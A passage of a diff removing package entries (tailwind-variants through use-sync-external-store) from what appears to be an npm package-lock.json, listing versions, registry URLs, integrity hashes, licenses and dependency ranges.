"sha512-wAQiIxAPqk0MNTPptVe/xoyWi27y+NRGnTwvn4PQnbvB9kp8QUBiGl/wsfoVBHnQxTmhXJSNt9NHTmcz9EivFA==", - "license": "MIT", - "dependencies": { - "prism-react-renderer": "^2.4.1" - }, - "engines": { - "node": ">=12.13.0" - }, - "peerDependencies": { - "tailwindcss": "4.x" - } - }, - "node_modules/tailwind-variants": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/tailwind-variants/-/tailwind-variants-3.2.2.tgz", - "integrity": "sha512-Mi4kHeMTLvKlM98XPnK+7HoBPmf4gygdFmqQPaDivc3DpYS6aIY6KiG/PgThrGvii5YZJqRsPz0aPyhoFzmZgg==", - "license": "MIT", - "engines": { - "node": ">=16.x", - "pnpm": ">=7.x" - }, - "peerDependencies": { - "tailwind-merge": ">=3.0.0", - "tailwindcss": "*" - }, - "peerDependenciesMeta": { - "tailwind-merge": { - "optional": true - } - } - }, - "node_modules/tailwindcss": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-4.2.4.tgz", - "integrity": "sha512-HhKppgO81FQof5m6TEnuBWCZGgfRAWbaeOaGT00KOy/Pf/j6oUihdvBpA7ltCeAvZpFhW3j0PTclkxsd4IXYDA==", - "license": "MIT" - }, - "node_modules/tapable": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.3.3.tgz", - "integrity": "sha512-uxc/zpqFg6x7C8vOE7lh6Lbda8eEL9zmVm/PLeTPBRhh1xCgdWaQ+J1CUieGpIfm2HdtsUpRv+HshiasBMcc6A==", - "license": "MIT", - "engines": { - "node": ">=6" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/webpack" - } - }, - "node_modules/tar": { - "version": "7.5.20", - "resolved": "https://registry.npmjs.org/tar/-/tar-7.5.20.tgz", - "integrity": "sha512-9FcyK4PA6+WbzlTM9WhQm6vB5W7cP7dUiPsv1g7YDwEQnQ1CGpK3MGlKk/ITVWMk05kHZuBhmVhiv8LZoy/PFQ==", - "dev": true, - "license": "BlueOak-1.0.0", - "dependencies": { - "@isaacs/fs-minipass": "^4.0.0", - "chownr": "^3.0.0", - "minipass": "^7.1.2", - "minizlib": "^3.1.0", - "yallist": "^5.0.0" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/tar/node_modules/yallist": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-5.0.0.tgz", - "integrity": "sha512-YgvUTfwqyc7UXVMrB+SImsVYSmTS8X/tSrtdNZMImM+n7+QTriRXyXim0mBrTXNeqzVF0KWGgHPeiyViFFrNDw==", - "dev": true, - "license": "BlueOak-1.0.0", - "engines": { - "node": ">=18" - } - }, - "node_modules/temp": { - "version": "0.9.4", - "resolved": "https://registry.npmjs.org/temp/-/temp-0.9.4.tgz", - "integrity": "sha512-yYrrsWnrXMcdsnu/7YMYAofM1ktpL5By7vZhf15CrXijWWrEYZks5AXBudalfSWJLlnen/QUJUB5aoB0kqZUGA==", - "dev": true, - "license": "MIT", - "peer": true, - "dependencies": { - "mkdirp": "^0.5.1", - "rimraf": "~2.6.2" - }, - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/temp-file": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/temp-file/-/temp-file-3.4.0.tgz", - "integrity": "sha512-C5tjlC/HCtVUOi3KWVokd4vHVViOmGjtLwIh4MuzPo/nMYTV/p1urt3RnMz2IWXDdKEGJH3k5+KPxtqRsUYGtg==", - "dev": true, - "license": "MIT", - "dependencies": { - "async-exit-hook": "^2.0.1", - "fs-extra": "^10.0.0" - } - }, - "node_modules/temp/node_modules/mkdirp": { - "version": "0.5.6", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", - "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", - "dev": true, - "license": "MIT", - "peer": true, - "dependencies": { - "minimist": "^1.2.6" - }, - "bin": { - "mkdirp": "bin/cmd.js" - } - }, - "node_modules/text-hex": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/text-hex/-/text-hex-1.0.0.tgz", - "integrity": "sha512-uuVGNWzgJ4yhRaNSiubPY7OjISw4sw4E5Uv0wbjp+OzcbmVU/rsT8ujgcXJhn9ypzsgr5vlzpPqP+MBBKcGvbg==", - "license": "MIT" - }, - "node_modules/tiny-async-pool": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/tiny-async-pool/-/tiny-async-pool-1.3.0.tgz", - "integrity": "sha512-01EAw5EDrcVrdgyCLgoSPvqznC0sVxDSVeiOz09FUpjh71G79VCqneOr+xvt7T1r76CF6ZZfPjHorN2+d+3mqA==", - "dev": true, - "license": "MIT", - "dependencies": { - "semver": "^5.5.0" - } - }, - "node_modules/tiny-async-pool/node_modules/semver": { - "version": "5.7.2", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", - "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", - "dev": true, - "license": "ISC", - "bin": { - "semver": "bin/semver" - } - }, - "node_modules/tinybench": { - "version": "2.9.0", - "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.9.0.tgz", - "integrity": "sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==", - "dev": true, - "license": "MIT" - }, - "node_modules/tinydate": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/tinydate/-/tinydate-1.3.0.tgz", - "integrity": "sha512-7cR8rLy2QhYHpsBDBVYnnWXm8uRTr38RoZakFSW7Bs7PzfMPNZthuMLkwqZv7MTu8lhQ91cOFYS5a7iFj2oR3w==", - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/tinyexec": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-1.2.4.tgz", - "integrity": "sha512-SHf/r48b7vOrjve9PxJo3MN5v5yuyjHvdUcrQffT3WXMUfnGmHDVbC4k3sHJaJTgZCwpUplIaAo5ANtMyp3YHg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/tinyglobby": { - "version": "0.2.17", - "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz", - "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==", - "license": "MIT", - "dependencies": { - "fdir": "^6.5.0", - "picomatch": "^4.0.4" - }, - "engines": { - "node": ">=12.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/SuperchupuDev" - } - }, - "node_modules/tinyrainbow": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-3.1.0.tgz", - "integrity": "sha512-Bf+ILmBgretUrdJxzXM0SgXLZ3XfiaUuOj/IKQHuTXip+05Xn+uyEYdVg0kYDipTBcLrCVyUzAPz7QmArb0mmw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/tldts": { - "version": "7.4.2", - "resolved": "https://registry.npmjs.org/tldts/-/tldts-7.4.2.tgz", - "integrity": "sha512-kCwffuaH8ntKtygnWe1b4BJKWiCUH30n5KfoTr6IchcXOwR7chAOFJxFrH3vjANafUYrIA4a7SDL+nn7SiR4Sw==", - "dev": true, - "license": "MIT", - "dependencies": { - "tldts-core": "^7.4.2" - }, - "bin": { - "tldts": "bin/cli.js" - } - }, - "node_modules/tldts-core": { - "version": "7.4.2", - "resolved": "https://registry.npmjs.org/tldts-core/-/tldts-core-7.4.2.tgz", - "integrity": "sha512-nwEyF4vl4RSJjwSjBUmOSxc3BFPoIFdlRthJ6e+5v9P3bHNsoD06UjuqMUspqp7vsEZ1beaHi1km+optiE17yA==", - "dev": true, - "license": "MIT" - }, - "node_modules/tmp": { - "version": "0.2.7", - "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.7.tgz", - "integrity": "sha512-e0votIpp4Uo2AJYSzVHV6xCcawuiez3DzqDAbrTc3YxBkplN6e+dM13ZeIcZnDg/QpSuU2zfZ3rzwY8ukEnaXw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=14.14" - } - }, - "node_modules/tmp-promise": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/tmp-promise/-/tmp-promise-3.0.3.tgz", - "integrity": "sha512-RwM7MoPojPxsOBYnyd2hy0bxtIlVrihNs9pj5SUvY8Zz1sQcQG2tG1hSr8PDxfgEB8RNKDhqbIlroIarSNDNsQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "tmp": "^0.2.0" - } - }, - "node_modules/to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "is-number": "^7.0.0" - }, - "engines": { - "node": ">=8.0" - } - }, - "node_modules/toidentifier": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", - "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", - "license": "MIT", - "engines": { - "node": ">=0.6" - } - }, - "node_modules/totalist": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/totalist/-/totalist-3.0.1.tgz", - "integrity": "sha512-sf4i37nQ2LBx4m3wB74y+ubopq6W/dIzXg0FDGjsYnZHVa1Da8FH853wlL2gtUhg+xJXjfk3kUZS3BRoQeoQBQ==", - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/tough-cookie": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-6.0.1.tgz", - "integrity": "sha512-LktZQb3IeoUWB9lqR5EWTHgW/VTITCXg4D21M+lvybRVdylLrRMnqaIONLVb5mav8vM19m44HIcGq4qASeu2Qw==", - "dev": true, - "license": "BSD-3-Clause", - "dependencies": { - "tldts": "^7.0.5" - }, - "engines": { - "node": ">=16" - } - }, - "node_modules/tr46": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/tr46/-/tr46-6.0.0.tgz", - "integrity": "sha512-bLVMLPtstlZ4iMQHpFHTR7GAGj2jxi8Dg0s2h2MafAE4uSWF98FC/3MomU51iQAMf8/qDUbKWf5GxuvvVcXEhw==", - "dev": true, - "license": "MIT", - "dependencies": { - "punycode": "^2.3.1" - }, - "engines": { - "node": ">=20" - } - }, - "node_modules/trim-lines": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/trim-lines/-/trim-lines-3.0.1.tgz", - "integrity": "sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/triple-beam": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/triple-beam/-/triple-beam-1.4.1.tgz", - "integrity": "sha512-aZbgViZrg1QNcG+LULa7nhZpJTZSLm/mXnHXnbAbjmN5aSa0y7V+wvv6+4WaBtpISJzThKy+PIPxc1Nq1EJ9mg==", - "license": "MIT", - "engines": { - "node": ">= 14.0.0" - } - }, - "node_modules/trough": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/trough/-/trough-2.2.0.tgz", - "integrity": "sha512-tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/truncate-utf8-bytes": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/truncate-utf8-bytes/-/truncate-utf8-bytes-1.0.2.tgz", - "integrity": "sha512-95Pu1QXQvruGEhv62XCMO3Mm90GscOCClvrIUwCM0PYOXK3kaF3l3sIHxx71ThJfcbM2O5Au6SO3AWCSEfW4mQ==", - "dev": true, - "license": "WTFPL", - "dependencies": { - "utf8-byte-length": "^1.0.1" - } - }, - "node_modules/ts-api-utils": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.5.0.tgz", - "integrity": "sha512-OJ/ibxhPlqrMM0UiNHJ/0CKQkoKF243/AEmplt3qpRgkW8VG7IfOS41h7V8TjITqdByHzrjcS/2si+y4lIh8NA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18.12" - }, - "peerDependencies": { - "typescript": ">=4.8.4" - } - }, - "node_modules/ts-morph": { - "version": "12.0.0", - "resolved": "https://registry.npmjs.org/ts-morph/-/ts-morph-12.0.0.tgz", - "integrity": "sha512-VHC8XgU2fFW7yO1f/b3mxKDje1vmyzFXHWzOYmKEkCEwcLjDtbdLgBQviqj4ZwP4MJkQtRo6Ha2I29lq/B+VxA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@ts-morph/common": "~0.11.0", - "code-block-writer": "^10.1.1" - } - }, - "node_modules/ts-toolbelt": { - "version": "6.15.5", - "resolved": "https://registry.npmjs.org/ts-toolbelt/-/ts-toolbelt-6.15.5.tgz", - "integrity": "sha512-FZIXf1ksVyLcfr7M317jbB67XFJhOO1YqdTcuGaq9q5jLUoTikukZ+98TPjKiP2jC5CgmYdWWYs0s2nLSU0/1A==", - "dev": true, - "license": "Apache-2.0" - }, - "node_modules/tslib": { - "version": "2.8.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", - "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", - "license": "0BSD" - }, - "node_modules/type-check": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", - "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", - "dev": true, - "license": "MIT", - "dependencies": { - "prelude-ls": "^1.2.1" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/type-fest": { - "version": "5.7.0", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-5.7.0.tgz", - "integrity": "sha512-1URUxUqfHFM1c+zfSPsa3gnkO7Aq21qyH75SIduNYz4SzY964rn1X2vCMQaHSHhktiw+0kPa2iyb6PUpXqB6Vg==", - "dev": true, - "license": "(MIT OR CC0-1.0)", - "dependencies": { - "tagged-tag": "^1.0.0" - }, - "engines": { - "node": ">=20" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/type-is": { - "version": "1.6.18", - "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", - "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", - "license": "MIT", - "dependencies": { - "media-typer": "0.3.0", - "mime-types": "~2.1.24" - }, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/typed-array-buffer": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz", - "integrity": "sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.3", - "es-errors": "^1.3.0", - "is-typed-array": "^1.1.14" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/typed-array-byte-length": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.3.tgz", - "integrity": "sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind": "^1.0.8", - "for-each": "^0.3.3", - "gopd": "^1.2.0", - "has-proto": "^1.2.0", - "is-typed-array": "^1.1.14" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/typed-array-byte-offset": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.4.tgz", - "integrity": "sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "available-typed-arrays": "^1.0.7", - "call-bind": "^1.0.8", - "for-each": "^0.3.3", - "gopd": "^1.2.0", - "has-proto": "^1.2.0", - "is-typed-array": "^1.1.15", - "reflect.getprototypeof": "^1.0.9" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/typed-array-length": { - "version": "1.0.8", - "resolved": "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.8.tgz", - "integrity": "sha512-phPGCwqr2+Qo0fwniCE8e4pKnGu/yFb5nD5Y8bf0EEeiI5GklnACYA9GFy/DrAeRrKHXvHn+1SUsOWgJp6RO+g==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind": "^1.0.9", - "for-each": "^0.3.5", - "gopd": "^1.2.0", - "is-typed-array": "^1.1.15", - "possible-typed-array-names": "^1.1.0", - "reflect.getprototypeof": "^1.0.10" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/typescript": { - "version": "6.0.3", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-6.0.3.tgz", - "integrity": "sha512-y2TvuxSZPDyQakkFRPZHKFm+KKVqIisdg9/CZwm9ftvKXLP8NRWj38/ODjNbr43SsoXqNuAisEf1GdCxqWcdBw==", - "devOptional": true, - "license": "Apache-2.0", - "bin": { - "tsc": "bin/tsc", - "tsserver": "bin/tsserver" - }, - "engines": { - "node": ">=14.17" - } - }, - "node_modules/unbox-primitive": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.1.0.tgz", - "integrity": "sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.3", - "has-bigints": "^1.0.2", - "has-symbols": "^1.1.0", - "which-boxed-primitive": "^1.1.1" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/undici": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/undici/-/undici-7.27.1.tgz", - "integrity": "sha512-UDdpiex+mzigiyrXrGbiUaF4HzTNhKbh2vRNFaTMzcqmLIPrZxaCtwo/1TMSuWoM1Xz3WiTo9KdgI3kRqYzJGg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=20.18.1" - } - }, - "node_modules/undici-types": { - "version": "7.19.2", - "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.19.2.tgz", - "integrity": "sha512-qYVnV5OEm2AW8cJMCpdV20CDyaN3g0AjDlOGf1OW4iaDEx8MwdtChUp4zu4H0VP3nDRF/8RKWH+IPp9uW0YGZg==", - "license": "MIT" - }, - "node_modules/unified": { - "version": "11.0.5", - "resolved": "https://registry.npmjs.org/unified/-/unified-11.0.5.tgz", - "integrity": "sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA==", - "license": "MIT", - "dependencies": { - "@types/unist": "^3.0.0", - "bail": "^2.0.0", - "devlop": "^1.0.0", - "extend": "^3.0.0", - "is-plain-obj": "^4.0.0", - "trough": "^2.0.0", - "vfile": "^6.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/unist-util-is": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-6.0.1.tgz", - "integrity": "sha512-LsiILbtBETkDz8I9p1dQ0uyRUWuaQzd/cuEeS1hoRSyW5E5XGmTzlwY1OrNzzakGowI9Dr/I8HVaw4hTtnxy8g==", - "license": "MIT", - "dependencies": { - "@types/unist": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/unist-util-position": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/unist-util-position/-/unist-util-position-5.0.0.tgz", - "integrity": "sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA==", - "license": "MIT", - "dependencies": { - "@types/unist": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/unist-util-stringify-position": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", - "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", - "license": "MIT", - "dependencies": { - "@types/unist": "^3.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/unist-util-visit": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-5.1.0.tgz", - "integrity": "sha512-m+vIdyeCOpdr/QeQCu2EzxX/ohgS8KbnPDgFni4dQsfSCtpz8UqDyY5GjRru8PDKuYn7Fq19j1CQ+nJSsGKOzg==", - "license": "MIT", - "dependencies": { - "@types/unist": "^3.0.0", - "unist-util-is": "^6.0.0", - "unist-util-visit-parents": "^6.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/unist-util-visit-parents": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-6.0.2.tgz", - "integrity": "sha512-goh1s1TBrqSqukSc8wrjwWhL0hiJxgA8m4kFxGlQ+8FYQ3C/m11FcTs4YYem7V664AhHVvgoQLk890Ssdsr2IQ==", - "license": "MIT", - "dependencies": { - "@types/unist": "^3.0.0", - "unist-util-is": "^6.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/universalify": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", - "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 10.0.0" - } - }, - "node_modules/unpipe": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", - "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/unrs-resolver": { - "version": "1.12.2", - "resolved": "https://registry.npmjs.org/unrs-resolver/-/unrs-resolver-1.12.2.tgz", - "integrity": "sha512-dmlRxBJJayXjqTwC+JtF1HhJmgf3ftQ3YejFcZrf4+KKtJv0qDsK1pjqaaVjG7wJ5NJ6UVP1OqRMQ71Z4C3rxQ==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "dependencies": { - "napi-postinstall": "^0.3.4" - }, - "funding": { - "url": "https://opencollective.com/unrs-resolver" - }, - "optionalDependencies": { - "@unrs/resolver-binding-android-arm-eabi": "1.12.2", - "@unrs/resolver-binding-android-arm64": "1.12.2", - "@unrs/resolver-binding-darwin-arm64": "1.12.2", - "@unrs/resolver-binding-darwin-x64": "1.12.2", - "@unrs/resolver-binding-freebsd-x64": "1.12.2", - "@unrs/resolver-binding-linux-arm-gnueabihf": "1.12.2", - "@unrs/resolver-binding-linux-arm-musleabihf": "1.12.2", - "@unrs/resolver-binding-linux-arm64-gnu": "1.12.2", - "@unrs/resolver-binding-linux-arm64-musl": "1.12.2", - "@unrs/resolver-binding-linux-loong64-gnu": "1.12.2", - "@unrs/resolver-binding-linux-loong64-musl": "1.12.2", - "@unrs/resolver-binding-linux-ppc64-gnu": "1.12.2", - "@unrs/resolver-binding-linux-riscv64-gnu": "1.12.2", - "@unrs/resolver-binding-linux-riscv64-musl": "1.12.2", - "@unrs/resolver-binding-linux-s390x-gnu": "1.12.2", - "@unrs/resolver-binding-linux-x64-gnu": "1.12.2", - "@unrs/resolver-binding-linux-x64-musl": "1.12.2", - "@unrs/resolver-binding-openharmony-arm64": "1.12.2", - "@unrs/resolver-binding-wasm32-wasi": "1.12.2", - "@unrs/resolver-binding-win32-arm64-msvc": "1.12.2", - "@unrs/resolver-binding-win32-ia32-msvc": "1.12.2", - "@unrs/resolver-binding-win32-x64-msvc": "1.12.2" - } - }, - "node_modules/until-async": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/until-async/-/until-async-3.0.2.tgz", - "integrity": "sha512-IiSk4HlzAMqTUseHHe3VhIGyuFmN90zMTpD3Z3y8jeQbzLIq500MVM7Jq2vUAnTKAFPJrqwkzr6PoTcPhGcOiw==", - "dev": true, - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/kettanaito" - } - }, - "node_modules/update-browserslist-db": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz", - "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/browserslist" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/browserslist" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "escalade": "^3.2.0", - "picocolors": "^1.1.1" - }, - "bin": { - "update-browserslist-db": "cli.js" - }, - "peerDependencies": { - "browserslist": ">= 4.21.0" - } - }, - "node_modules/uri-js": { - "version": "4.4.1", - "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", - "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "punycode": "^2.1.0" - } - }, - "node_modules/use-composed-ref": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/use-composed-ref/-/use-composed-ref-1.4.0.tgz", - "integrity": "sha512-djviaxuOOh7wkj0paeO1Q/4wMZ8Zrnag5H6yBvzN7AKKe8beOaED9SF5/ByLqsku8NP4zQqsvM2u3ew/tJK8/w==", - "license": "MIT", - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/use-isomorphic-layout-effect": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/use-isomorphic-layout-effect/-/use-isomorphic-layout-effect-1.2.1.tgz", - "integrity": "sha512-tpZZ+EX0gaghDAiFR37hj5MgY6ZN55kLiPkJsKxBMZ6GZdOSPJXiOzPM984oPYZ5AnehYx5WQp1+ME8I/P/pRA==", - "license": "MIT", - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/use-latest": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/use-latest/-/use-latest-1.3.0.tgz", - "integrity": "sha512-mhg3xdm9NaM8q+gLT8KryJPnRFOz1/5XPBhmDEVZK1webPzDjrPk7f/mbpeLqTgB9msytYWANxgALOCJKnLvcQ==", - "license": "MIT", - "dependencies": { - "use-isomorphic-layout-effect": "^1.1.1" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/use-sync-external-store": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.6.0.tgz", - "integrity": 